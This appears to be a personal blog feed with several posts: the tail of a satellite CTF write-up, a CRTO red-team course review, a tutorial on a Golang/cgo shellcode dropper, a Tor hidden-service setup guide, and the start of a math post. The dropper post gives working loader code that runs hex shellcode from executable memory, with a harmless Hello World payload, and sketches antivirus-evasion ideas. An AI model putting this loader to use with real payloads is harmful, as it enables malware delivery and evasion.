checking. However, it’s only the sum modulo 10. This is in general not
a good form of error checking, as it is unable to detect
any errors from transpositions of characters.</p>
<p>Any particular satellite TLE set is only valid for a couple of weeks
to either side of that TLE’s epoch. This is due to maneuvers of the
satellites or the magnetic field and the drag of earth’s atmosphere.
The five simplified models mentioned above cannot account for all of
that. That’s why they are called simplified.</p>
<p>What i found very interesting is, that it is possible to get a list of
all larger objects surrounding space in TLE format.
You don’t even have to get some expensive government license.
You can just click <a href="http://celestrak.org/NORAD/elements/active.txt">this link</a>.
There are also <a href="http://www.satobs.org/tletools.html">other sources for TLEs</a></p>
<h3 id="short-but-fun-exercise-for-you-dear-reader">Short but Fun Exercise for You, Dear Reader</h3>
<p>Here are the TLEs from two of the Starlink satellites. Compare them.
What is different? What is similar? What is the same? Why?
Would you have expected that?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>STARLINK-1007
1 44713U 19074A 23096.54092968 .00004826 00000+0 34276-3 0 9997
2 44713 53.0527 301.7232 0001403 75.8888 284.2257 15.06390401187929
STARLINK-1008
1 44714U 19074B 23096.05531000 .00019972 00000+0 13542-2 0 9999
2 44714 53.0528 303.9072 0001111 67.2224 292.8882 15.06446350187858
</code></pre></div></div>
<h2 id="software-support-for-tles">Software Support for TLEs</h2>
<p>If you want to work with them in Python, there is the <a href="https://rhodesmill.org/skyfield/earth-satellites.html">Skyfield
library</a> with
great documentation, as well as the <a href="https://www.astropy.org/">astropy
library</a>.</p>
<h2 id="other-stuff">Other stuff</h2>
<p>There is an XML format for spacecraft data telemetry that is widely
used and called the XML Telemetric and Command Exchange format (XTCE).
Its specification can be found <a href="https://www.omg.org/xtce/index.htm">here</a>.</p>
<p>Firmware on satellites is often in some obscure architecture such as
SPARC or some other RISC-architecture.</p>
<p>If we have an image of the sky and a catalog of stars and want to
match them, this is called the star identification problem and is a
special case of the <a href="https://en.wikipedia.org/wiki/Subgraph_isomorphism_problem">subgraph isomorphism
problem</a>
which is in general NP-complete.</p>
<h2 id="acknowledgments">Acknowledgments</h2>
<p>Thanks</p>
<ul>
<li><a href="https://twitter.com/allesctf">AllesCTF!</a> It was a pleasure hacking
with you.</li>
<li><a href="https://twitter.com/TheHaloVamp">TheVamp</a> Thanks for inviting me to
your ctf team.</li>
<li><a href="https://twitter.com/hack_a_sat">Hack-A-Sat</a> Thanks for organizing the CTF
and building such nice challenges.</li>
</ul>
Crto Course Review
2023-03-15T00:00:00+00:00
https://hkopp.github.io/2023/03/crto-course-review
<h2 id="introduction">Introduction</h2>
<p>In the middle of March i decided to take the <a href="https://training.zeropointsecurity.co.uk/courses/red-team-ops">Certified Red Team
Operator (CRTO)
certification</a> by <a href="https://www.zeropointsecurity.co.uk/">ZeroPoint Security</a>.</p>
<p>As I would have loved to read some more reviews of it before taking
it, here’s mine.</p>
<h2 id="general">General</h2>
<p>The CRTO is a pretty novel certificate in the area of IT security and
especially red teaming (in contrast to penetration testing). It is
considered a beginner certificate as it is very general. It covers
phishing, Kerberos, Active Directory misconfigurations, Windows
privilege escalation and much more. However, if you think it is easy,
due to the fact that it is considered a beginner certificate then you
are wrong.
In fact, you need to know quite some stuff, like how to
use a command line and understand a lot of the things that may be
considered basic in IT security. Still, when i was back at university,
I would probably have failed it.</p>
<p>Well, my company granted me some time for the certificate. I used a
week for going through the course material, one more week for the lab
(in fact, I only spend 30 hours in the lab), and then i did the exam
and passed (again in 30 hours).</p>
<h2 id="the-course-material">The Course Material</h2>
<p>The course material is great. Everything you need to know for the exam
is in there. The texts are very short and applied. For everything
there is an example that you can try in the lab. For the more
complicated things there were videos.</p>
<p>The course material was fun to read and I even looked forward to it.
It is clearly written and there are no ambiguities. The sections are
short and encourage you to participate.</p>
<p>Sometimes alternative ways of reaching a goal are explained. This is
the principle of “attack in depth”, according to which a good red
teamer should know more ways to perform the same attack, as some may
be monitored or blocked.</p>
<p>The course material was where this course shined for me. I studied
one week full-time.</p>
<h2 id="the-lab">The Lab</h2>
<p>The lab was nice. You get a Cobalt Strike license and can perform all
the attacks. But mostly I was not using any special CS functionality,
but rather took CS as a platform to launch other tools such as Rubeus
or Whisker.
Still, CS is probably considered the industry standard, so it makes
sense to know it.</p>
<p>The lab is inside a guacamole session. So everything is browser-based
and you do not need any special VPN configuration. The tools are
already installed, which in my opinion is great. You can perform
attacks and apply your knowledge instead of fiddling with compiling some
abandoned code from github as in other labs.</p>
<p>The lab is not a challenge lab, where you have to think by yourself,
but rather a “copy paste lab”. You can copy the code from the course
and apply it directly in the lab. In my opinion that was okay, but i
did some of the attacks by memory to increase the learning effect for
myself.
As an example, some tools need a FQDN, and if you are using the
Netbios name instead, then there will be an error and you will be
unable to figure out why. Also with Kerberos, sometimes you need a new
logon session to log in to other services with your stolen tickets.</p>
<p>The lab is sold in monthly subscriptions. I purchased 40 hours, but
only needed 30 hours to test everything i wanted to try.</p>
<p>You have the lab by yourself, so there is no other hacker that
reverts your machines or breaks the services you want to exploit. You
can pause the lab and are only billed by the time you are using it.</p>
<h2 id="the-exam">The Exam</h2>
<p>At the end of my two weeks of learning i tried my hands at the exam.
I was not looking forward to it but who likes exams anyway.
The exam is in a lab with 8 machines, and you need to compromise 6 of
them. You have 48 hours for this, but can split it over four days. So
at the worst, you have four days where you are hacking 12 hours per
day.</p>
<p>At least, there is no report necessary. You just have to copy the
content of the flag files from the desktops of the administrators as a
proof of compromise.</p>
<p>As a result of that hazing you may get a hip certificate if you pass.
It’s not that you can do anything with the certificate. The CRTO is a
pretty novel certification so HR does not know it and you will not
find it in any job description. But if you are speaking to someone
with more background in IT security it may be possible that he knows
it and is impressed. It may be good for your ego, though.</p>
<p>One attempt at an exam was included in the price of the course, so i
thought that i should at least try it.
I don’t know if i would have attempted the exam if it wasn’t included
in the price.</p>
<p>Well, the exam was well designed as it covered the content of the
course pretty well. There was no knowledge necessary that was
unexpected. The course was a good preparation for the exam.</p>
<p>But still there were technical difficulties. While the connectivity
between the machines was very good in the lab, in the exam it was
apeshit. At one point i was unsure if it was part of the exam or if
there were really technical problems.</p>
<p>While the lab felt like building a sandcastle, the exam felt like
building a sandcastle when sometimes a wave came by.
I did a lot of the same steps multiple times as my beacons died.
Whereas in the lab nearly every method of lateral movement worked, in
the exam i needed to try all methods one after another until one
worked.
One attack was especially flaky and i needed to perform it multiple
times until it worked. In fact, when it did not work the first time i
thought that it did not work at all and tried different things
(including taking a walk) for six hours.</p>
<p>My DNS beacons did not work at all. I suspect that the domains were
not registered in the DNS server, but in the end i was fine without
using DNS beacons.</p>
<p>In the exam it was always clear what the next step was. The machines
can only be completed in a fixed succession. On the one hand, this is
fun, as you know what is expected. You don’t have to be lucky
in finding the one vulnerability when enumerating your target. On the
other hand, you are stuck when you are stuck and there is no way to
hack a different machine until you have a new idea.</p>
<p>In the end, i solved the six machines in 31 hours over 3 days. So i
even had 17 hours left. I was attempting to hack further, but as i was
unable to execute a beacon on the sixth machine i called it a day.</p>
<p><img src="http://hkopp.github.io/assets/CRTO-course-review/leaderboard.png" alt="Leaderboard" /></p>
<p>I had a technical problem, as one of the desktops did not contain the
flag file. I needed to ask in the discord channel for support.
Rastamouse, the head behind ZeroPoint Security helped me within at
most five minutes. Could I have been stuck on that issue and failed my
course due to that? No. The flags are numbered. And as soon as you
find a flag with a number where you don’t have the predecessor you
know that something is wrong. This brings me to my next point.</p>
<h2 id="community">Community</h2>
<p>There is a forum on the web page of the course, but the real community
is on Discord. Discord as a community may not be ideal. But as a place
for technical support it is great. In other certifications I attended
there was only mail contact (which is slow) or you needed to use IRC
(which is okay).
Also, the community is very helpful if you ask the right questions and
show that you are trying. I have not read even one “try harder”, as it
is unfortunately common in infosec communities.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In summary, regarding the presentation of content, the CRTO was
probably one of the best courses I ever attended. I learned a lot.
Even though some of the attacks were already known to me, it’s still
good to be able to perform them with different tools.
The exam was fair, but i am not sure if i would have been sad if i did
not make it.</p>
<p>Banana Bunny says thanks to Rastamouse! As my photoshop skills are
non-existent i hope you like some AI generated art.</p>
<p><img src="http://hkopp.github.io/assets/CRTO-course-review/ai-art.png" alt="AI Art" /></p>
A Dropper In Golang
2023-02-02T00:00:00+00:00
https://hkopp.github.io/2023/02/a-dropper-in-golang
<h2 id="introduction">Introduction</h2>
<p>This blog post is about a fancy program that i wrote.
Due to dramaturgical reasons we will start from the end.
I will first show the program and explain how it works.
Then i will jump back to the other side and explain how i wrote it.</p>
<p>If you are interested in calling C functions from Golang and position
independent assembly code, then read on. If you know how to write a
dropper then you may already know everything that i will show you.</p>
<h1 id="the-program">The Program</h1>
<p>Without further ado, let me show you my program.</p>
<figure class="highlight"><pre><code class="language-golang" data-lang="golang"><span class="k">package</span> <span class="n">main</span>
<span class="c">/*
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
void call(char *shellcode, size_t length) {
if(fork()) {
return;
}
unsigned char *ptr;
ptr = (unsigned char *) mmap(0, length, \
PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if(ptr == MAP_FAILED) {
perror("mmap");
return;
}
memcpy(ptr, shellcode, length);
( *(void(*) ()) ptr)();
}
*/</span>
<span class="k">import</span> <span class="s">"C"</span>
<span class="k">import</span> <span class="p">(</span>
<span class="s">"encoding/hex"</span>
<span class="s">"fmt"</span>
<span class="s">"unsafe"</span>
<span class="p">)</span>
<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">string</span> <span class="o">:=</span> <span class="s">"eb1eb801000000bf010000005eba0d0000000f05b83c000000bf000000000f05e8ddffffff48656c6c6f2c20776f726c64210a"</span>
<span class="n">sc</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">hex</span><span class="o">.</span><span class="n">DecodeString</span><span class="p">(</span><span class="kt">string</span><span class="p">)</span>
<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Unable to convert hex to byte. "</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
<span class="p">}</span>
<span class="n">C</span><span class="o">.</span><span class="n">call</span><span class="p">((</span><span class="o">*</span><span class="n">C</span><span class="o">.</span><span class="n">char</span><span class="p">)(</span><span class="n">unsafe</span><span class="o">.</span><span class="n">Pointer</span><span class="p">(</span><span class="o">&</span><span class="n">sc</span><span class="p">[</span><span class="m">0</span><span class="p">])),</span> <span class="p">(</span><span class="n">C</span><span class="o">.</span><span class="n">size_t</span><span class="p">)(</span><span class="nb">len</span><span class="p">(</span><span class="n">sc</span><span class="p">)))</span>
<span class="p">}</span></code></pre></figure>
<p>If you like puzzles, you may want to stop reading here and figure out
for yourself what it does.</p>
<p>This is Golang code that can be compiled as usual (<code class="language-plaintext highlighter-rouge">go build</code>). It
interfaces C code using the cgo package. In particular, there is a C
function called <code class="language-plaintext highlighter-rouge">call</code> that can be called from within Golang.
There is a string called <code class="language-plaintext highlighter-rouge">string</code> that is decoded as hexadecimal and
then given to the function <code class="language-plaintext highlighter-rouge">call</code>. The function <code class="language-plaintext highlighter-rouge">call</code> interprets the
decoded string as a function and executes it.</p>
<p>But what does the string
<code class="language-plaintext highlighter-rouge">"eb1eb801000000bf010000005eba0d0000000f05b83c000000bf000000000f05e8ddffffff48656c6c6f2c20776f726c64210a"</code>
interpreted as function do? Well, it prints <code class="language-plaintext highlighter-rouge">Hello, World!</code>.
You can see for yourself by writing it to a file and disassembling it, e.g, with radare or objdump (<code class="language-plaintext highlighter-rouge">objdump -b binary -D -m i386:x86-64 -M intel Opcodes.bin</code>).</p>
<p>But why would anyone program such a monster, you may ask?
Usually programming patterns such as this can be used to load more functionality at run-time (in contrast to having the functionality already baked in at compile-time).
Note how the string does not necessarily need to be compiled in the binary.
It would also be possible for the string to be given at runtime by the
user or even be downloaded from a remote server.</p>
<p>Malware often employs similar mechanism in order to obfuscate its functionality.
In the language of malware development this would be considered a dropper or a loader.
In this case the string would offer some malicious functionality.
The string could lie encrypted in the binary and then be decrypted at runtime in order to evade static analysis by antivirus engines.
Even more sophisticated, the decryption key could be the host name of
the targeted machine, in order to evade analysis by antivirus engines
in the cloud.
But I digress.</p>
<h1 id="how-i-arrived-here">How I Arrived Here</h1>
<p>Let us now hop to the other side of this adventure and start at the beginning.
How did i create that string that prints <code class="language-plaintext highlighter-rouge">Hello, World!</code>?</p>
<h2 id="first-attempt-at-assembly">First Attempt at Assembly</h2>
<p>First of all i needed to get the machine code of a program that emits <code class="language-plaintext highlighter-rouge">Hello, World!</code>.
So I simply wrote one in assembly.
Below you can see <code class="language-plaintext highlighter-rouge">HalloW64.asm</code>. This program is targeted towards an
x64 computer running Linux.</p>
<figure class="highlight"><pre><code class="language-nasm" data-lang="nasm"><span class="c1">;; compile with </span>
<span class="c1">;; nasm -f elf64 -o HalloW64.o HalloW64.asm</span>
<span class="c1">;; ld -o HalloW64.out HalloW64.o</span>
<span class="nf">global</span> <span class="nv">_start</span>
<span class="nf">section</span> <span class="nv">.rodata</span> <span class="c1">; section declaration for the string</span>
<span class="nl">msg:</span> <span class="kd">db</span> <span class="s">"Hello, world!"</span><span class="p">,</span> <span class="mi">10</span>
<span class="nf">section</span> <span class="nv">.text</span> <span class="c1">; section declaration</span>
<span class="nl">_start:</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; write syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; stdout file descriptor in destination index (di)</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">msg</span> <span class="c1">; "Hello, world!" in source index (si)</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">13</span> <span class="c1">; length of "Hello, world!"</span>
<span class="nf">syscall</span> <span class="c1">; execute</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">60</span> <span class="c1">; exit syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; return value success</span>
<span class="nf">syscall</span> <span class="c1">; execute</span></code></pre></figure>
<p>The program has a <code class="language-plaintext highlighter-rouge">.rodata</code> section that contains the string to be printed.
In this case <code class="language-plaintext highlighter-rouge">Hello, World!</code>. Then there is a section <code class="language-plaintext highlighter-rouge">.text</code> that
holds the code for printing the string.
When the CPU processes this code, it starts at <code class="language-plaintext highlighter-rouge">_start:</code>, fills the
registers necessary for performing the write syscall, executes the
syscall, and then exits the program.</p>
<p>Even though we now have a program that prints <code class="language-plaintext highlighter-rouge">Hello, World!</code>, you may
already see a problem.
The string that is printed is in a different section than the code
itself.
In particular when executing the write syscall, the register rsi
contains a pointer to a different section. This will not work in our dropper.</p>
<p>We can verify this by looking at the assembly.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -D HalloW64.out -M intel
Disassembly of section .text:
0000000000401000 <_start>:
401000: b8 01 00 00 00 mov eax,0x1
401005: bf 01 00 00 00 mov edi,0x1
40100a: 48 be 00 20 40 00 00 movabs rsi,0x402000
401011: 00 00 00
401014: ba 0d 00 00 00 mov edx,0xd
401019: 0f 05 syscall
40101b: b8 3c 00 00 00 mov eax,0x3c
401020: bf 00 00 00 00 mov edi,0x0
401025: 0f 05 syscall
Disassembly of section .rodata:
0000000000402000 <msg>:
402000: 48 rex.W
402001: 65 6c gs ins BYTE PTR es:[rdi],dx
402003: 6c ins BYTE PTR es:[rdi],dx
402004: 6f outs dx,DWORD PTR ds:[rsi]
402005: 2c 20 sub al,0x20
402007: 77 6f ja 402078 <msg+0x78>
402009: 72 6c jb 402077 <msg+0x77>
40200b: 64 21 0a and DWORD PTR fs:[rdx],ecx
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">.text</code> section is as we would expect it, but the instruction at address <code class="language-plaintext highlighter-rouge">40100a</code>
moves the absolute value <code class="language-plaintext highlighter-rouge">0x402000</code> to the rsi register. This is
the address of the msg label.</p>
<p>Objdump thinks that the <code class="language-plaintext highlighter-rouge">.rodata</code> contains assembly and
therefore tries to show us instructions. These are bogus. It’s the
static string <code class="language-plaintext highlighter-rouge">Hello, World!</code>.</p>
<p>When we execute the assembly above with the loader in Golang, we cannot
control where the message is put. Thus, the program would fail.</p>
<h2 id="second-attempt-at-assembly">Second Attempt at Assembly</h2>
<p>As discussed in the section above, we need to re-write our
assembly as position independent code (PIC).</p>
<p>Let’s take a look at the following file <code class="language-plaintext highlighter-rouge">HalloW64nodata.asm</code>.
The name is due to the fact, that the data section is missing.</p>
<figure class="highlight"><pre><code class="language-nasm" data-lang="nasm"><span class="c1">;; compile with </span>
<span class="c1">;; nasm -f elf64 -o HalloW64nodata.o HalloW64nodata.asm</span>
<span class="c1">;; ld -o HalloW64nodata.out HalloW64nodata.o</span>
<span class="nf">global</span> <span class="nv">_start</span>
<span class="nf">section</span> <span class="nv">.text</span> <span class="c1">; section declaration</span>
<span class="nl">_start:</span>
<span class="nf">jmp</span> <span class="nv">end</span> <span class="c1">; jmp to the end</span>
<span class="nl">start:</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; write syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; stdout file descriptor in destination index (di)</span>
<span class="nf">pop</span> <span class="nb">rsi</span> <span class="c1">; "Hello, world!" in source index (si)</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">13</span> <span class="c1">; length of "Hello, world!"</span>
<span class="nf">syscall</span> <span class="c1">; execute</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">60</span> <span class="c1">; exit syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; return value success</span>
<span class="nf">syscall</span> <span class="c1">; execute</span>
<span class="nl">end:</span>
<span class="nf">call</span> <span class="nv">start</span>
<span class="nf">msg</span> <span class="nv">db</span> <span class="s">"Hello, world!"</span><span class="p">,</span> <span class="mi">10</span></code></pre></figure>
<p>Execution starts by jumping to <code class="language-plaintext highlighter-rouge">end</code>. From there <code class="language-plaintext highlighter-rouge">start</code> is called,
pushing the address of the instruction pointer to the stack. This
instruction pointer is popped to rsi. Hence, rsi contains the address
of the string <code class="language-plaintext highlighter-rouge">Hello World!</code>.</p>
<p>This code contain the string <code class="language-plaintext highlighter-rouge">Hello, World!</code> in the <code class="language-plaintext highlighter-rouge">.text</code>
section. The address of this string is computed at runtime by the
call/pop-trick.</p>
<p>Let’s again take a look at the disassembly.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -d -M intel HalloW64nodata.out
Disassembly of section .text:
0000000000401000 <_start>:
401000: eb 1e jmp 401020 <end>
0000000000401002 <start>:
401002: b8 01 00 00 00 mov eax,0x1
401007: bf 01 00 00 00 mov edi,0x1
40100c: 5e pop rsi
40100d: ba 0d 00 00 00 mov edx,0xd
401012: 0f 05 syscall
401014: b8 3c 00 00 00 mov eax,0x3c
401019: bf 00 00 00 00 mov edi,0x0
40101e: 0f 05 syscall
0000000000401020 <end>:
401020: e8 dd ff ff ff call 401002 <start>
0000000000401025 <msg>:
401025: 48 rex.W
401026: 65 6c gs ins BYTE PTR es:[rdi],dx
401028: 6c ins BYTE PTR es:[rdi],dx
401029: 6f outs dx,DWORD PTR ds:[rsi]
40102a: 2c 20 sub al,0x20
40102c: 77 6f ja 40109d <msg+0x78>
40102e: 72 6c jb 40109c <msg+0x77>
401030: 64 21 0a and DWORD PTR fs:[rdx],ecx
</code></pre></div></div>
<p>This is exactly how we want it.</p>
<h2 id="creating-a-frankenstein-binary">Creating a Frankenstein Binary</h2>
<p>Next, I cut the position independent code from the binary and
converted it to hex.</p>
<p>We cannot simply take the binary as it is, as it’s in the ELF
format. There is some additional information about which sections
exist and where they need to be mapped in the virtual memory when
executing the file.</p>
<p>We don’t need this. We need just the <code class="language-plaintext highlighter-rouge">.text</code> section.
We can either cut it manually, or use <code class="language-plaintext highlighter-rouge">objcopy</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objcopy -O binary --only-section=.text -I elf64-x86-64 HalloW64nodata.out Opcodes.bin
</code></pre></div></div>
<p>The file <code class="language-plaintext highlighter-rouge">Opcodes.bin</code> now contains exactly the content of the <code class="language-plaintext highlighter-rouge">.text</code> section.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ xxd Opcodes.bin
00000000: eb1e b801 0000 00bf 0100 0000 5eba 0d00 ............^...
00000010: 0000 0f05 b83c 0000 00bf 0000 0000 0f05 .....<..........
00000020: e8dd ffff ff48 656c 6c6f 2c20 776f 726c .....Hello, worl
00000030: 6421 0a d!.
</code></pre></div></div>
<p>As you can see, this is exactly what we got above from the disassembly
by <code class="language-plaintext highlighter-rouge">objdump</code>. However, when we want to have it as a hex string for
putting it into our dropper we need to cut the first and last column.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ xxd Opcodes.bin | sed 's/........: //;s/ .*//;s/ //g'| tr -d '\n'
eb1eb801000000bf010000005eba0d0000000f05b83c000000bf000000000f05e8ddffffff48656c6c6f2c20776f726c64210a
</code></pre></div></div>
<p>And boom! We have the string.</p>
<p>Next step is putting it into the loader, compiling, executing and
staring at the screen in awe.</p>
<h2 id="interfacing-golang-with-c">Interfacing Golang with C</h2>
<p>I should probably also write a little bit about how I interfaced Go with
C. Actually, my original goal when writing the dropper was to program
a nontrivial program in Golang. You could use any language for the
code, but for educational reasons, i was choosing Golang
There is really not much to say about the C interface. I just read the
documentation of cgo and followed the steps.</p>
<h1 id="epilogue">Epilogue</h1>
<p>I hope you learned something reading this.
Stay Cheeki Breeki!</p>
Setting Up A Tor Hidden Service
2022-11-28T00:00:00+00:00
https://hkopp.github.io/2022/11/setting-up-a-tor-hidden-service
<p>In this post, I describe how to setup a tor hidden service.
The information can be found scattered among many manpages and
websites. So i tried to collect all of that in one place, in case I
have to do it again.</p>
<h2 id="idea">Idea</h2>
<p>So the other day i got that raspi and had no idea what to do with it.
I decided to set up a tor proxy for my network together with a tor
hidden service.</p>
<p>The tor proxy is in my local network and listens port 9100.
I just have to configure a browser extension such as FoxyProxy to use
it, and can buy cheap flight tickets without being tracked.
Other applications (irc, ssh, …) that support a SOCKS-Proxy can be tunneled as well.
Note that this is not optimal if you really care about privacy when
browsing the web, as information can be leaked using, e.g., the client
headers.
In this case you have to use the official tor browser bundle. However,
I wanted to have a trade-off between usability and privacy.</p>
<p>The use case of the hidden service is to share files with my friends.
I have the ability to set up my own web server, but I do not want to
pay for a server or a DynDNS entry. Additionally, I do not want to be
watched by DropBox, Google Drive or whatever the current capitalist
overlord is named.
The web should be for the people not for big corporations.</p>
<p>As tor is an overlay network, you do not even need to forward the
ports on your router. Theoretically, you could set up a hidden service
in the guest wifi of a McDonalds branch. (I am not a lawyer. Check
your local laws if this is legal. Probably it is not.)</p>
<h2 id="tor-setup">Tor Setup</h2>
<p>Installing Tor can be done with the package manager on most (or even all) Linux distros.
For Debian based distros, we need to execute <code class="language-plaintext highlighter-rouge">sudo apt-get install tor</code>.</p>
<p>Next, we need to edit the file <code class="language-plaintext highlighter-rouge">/etc/tor/torrc</code> to activate the service.
We can uncomment the following lines or simply add them at the end of the file.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SocksPort 192.168.0.100:9100 # Bind to this address:port. This is the ip of the Pi.
SocksPolicy accept 192.168.0.0/24
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
DataDirectory /var/lib/tor
</code></pre></div></div>
<p>This configures the Pi to listen on port 9100 for connection from my network which are then tunneled over Tor.
It configures a log file and a directory where Tor can keep temporary data.</p>
<h2 id="monitoring-tor">Monitoring Tor</h2>
<p>When we have tor running and can connect from another host, it is time to start monitoring the service.
For this purpose, there is the tool <code class="language-plaintext highlighter-rouge">nyx</code> which can be installed using the package manager.
Nyx provides a text user interface for various statistics regarding Tor traffic.
In order to use nyx, we need to enable the control port of the tor server to allow nyx to control tor.</p>
<p>First of all, we need to generate the hash of a password which we will use to authenticate to the control port of Tor.
In the example below, i am using the password <code class="language-plaintext highlighter-rouge">aa</code>. This is only for demonstration purposes.
My real password is a lot more complex. If you are following along at home, please pick a more secure password.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pi@raspberrypi:/etc/tor $ tor --hash-password aa
16:A2B35E5E960E017A60E2F9F5A241E6D0330E2E2D65DD3B7AD90A134C60
</code></pre></div></div>
<p>After we have generated the hash, we need to edit <code class="language-plaintext highlighter-rouge">/etc/tor/torrc</code> as follows.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ControlPort 9051
HashedControlPassword 16:A2B35E5E960E017A60E2F9F5A241E6D0330E2E2D65DD3B7AD90A134C60
</code></pre></div></div>
<p>This simply opens the port 9051 for control and adds the authentication information.
When we start nyx, we are asked for the password.
This allows nyx to monitor the tor service via its control port.</p>
<h2 id="setup-of-the-hidden-service">Setup of the Hidden Service</h2>
<p>Next, we set up the hidden service.
First of all, we install a web server such as nginx.
We restrict nginx to localhost, such that it is only available using tor and not via the normal internet.
This is for hardening reasons, as we do not want to use the server over the internet anyway.
Note that we do not need TLS certificates, as the connection is encrypted and authenticated anyway due to usage of tor.</p>
<p>As we are using nginx, we can restrict the service to localhost by adding
<code class="language-plaintext highlighter-rouge">listen 127.0.0.1:80 default_server;</code> in the server directive in
<code class="language-plaintext highlighter-rouge">/etc/nginx/sites-available/default</code>.</p>
<p>Next we need to tell tor about our hidden service by editing <code class="language-plaintext highlighter-rouge">/etc/tor/torrc</code> as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80
</code></pre></div></div>
<p>This instructs tor to store the data concerning the hidden service at <code class="language-plaintext highlighter-rouge">/var/lib/tor/hidden_service</code>.
It does not include the content of the website, as that is served by nginx.
Rather, Tor stores the key pair and the host name for the service there.
In particular, the host name is in the file <code class="language-plaintext highlighter-rouge">/var/lib/tor/hidden_service/hostname</code>.</p>
<h2 id="host-name-creation">Host name Creation</h2>
<p>By default the host name of the hidden service is ugly and may look like the following:
<code class="language-plaintext highlighter-rouge">545ek374745gyewvnm3eeu7dr7oangha35v7nldz5sntsqy2x4zj75qd.onion</code>.
This is not easy to remember and looks simply ugly.
As far as i know, the host name is the base32 encoding of the first 80 characters of the hash of the public key or something similar.
As the hash function works as a one-way function, a beautiful host name is not easy to choose directly.
The naive approach is to guess secret keys, compute the corresponding host names and stop if we have found a nice one.
Fortunately someone else has already written code for that.
There is <a href="https://github.com/katmagic/Shallot">Shallow</a> and <a href="https://github.com/ReclaimYourPrivacy/eschalot">Eschalot</a> which unfortunately only work with RSA keys.
For ed25519 keys, we need to use <a href="https://github.com/cathugger/mkp224o">mk224o</a>.
This allows us to specify a prefix and returns the data directory with the corresponding keys for a host name starting with that prefix.
Just make sure to choose a l33t prefix such as “silkroad”.</p>
<p>Example usage is as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pi@raspberrypi:~/mkp224o-master $ ./mkp224o -S 30 -d tmp silkroad
</code></pre></div></div>
<p>The argument to <code class="language-plaintext highlighter-rouge">-S</code> prints statistics every specified amount of seconds.
The argument to <code class="language-plaintext highlighter-rouge">-d</code> is the name of the output directory.
If the tool terminates, just copy the output directory to <code class="language-plaintext highlighter-rouge">/var/lib/tor/hidden_service/</code> and you are done.</p>
The Story Of The Number On My License Plate
2022-07-09T00:00:00+00:00
https://hkopp.github.io/2022/07/the-story-of-the-number-on-my-license-plate
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="intro">Intro</h2>
<p>Back in April, I bought my first car.
Here in Germany, you can pick your license plate and one part of it is
a number.
So, as the nerdy mathematician that I am I selected a special number.
First, I tried 6174 but in my region you can only pick numbers with three digits.
Next, I tried 257 but that one was already taken, probably by another
mathematician.
Finally, I picked 561 which was still available and is now on my
license plate.</p>
<p>In this blog post I will tell you about these favorite numbers of
mine. This post is not very technical, so you should be able to
follow along, even if you are not a mathematician.</p>
<h2 id="the-kaprekar-number-6174">The Kaprekar Number 6174</h2>
<p>Let us take a random number with four digits, say 3827.
Then we can sort the digits in ascending order and get 2378.
Sorting in descending order gives 8732.
If we subtract the larger number from the smaller number, we get:</p>
\[8732 - 2378 = 6354\]
<p>We can continue this process with the new number. Sorting it gives
3456 and 6543 and subtracting yields:</p>
\[6543 - 3456 = 3087\]
<p>What happens if we continue this process?
Do we get back to the starting number?
Do we hit all numbers with four digits?
Do we end up in a cycle and fluctuate between five numbers?
You can pause a moment here and think about what your intuition says.
But next, let’s try it out.</p>
\[8730 - 378 = 8352\\
8532 - 2358 = 6174\\
7641 - 1467 = 6174\\
7641 - 1467 = 6174\\
...\]
<p>So for the starting number 3827 we end up with 6174.
What happens if we start from a different number, say 5553?</p>
\[5553 - 3555 = 1998\\
9981 - 1899 = 8082\\
8820 - 288 = 8532\\
8532 - 2358 = 6174\]
<p>And we are back at 6174.
It is a surprising fact, that for all numbers with four digits, except
1111, 2222, 3333, 4444, 5555, 6666, 7777, 8888, and 9999, we end up
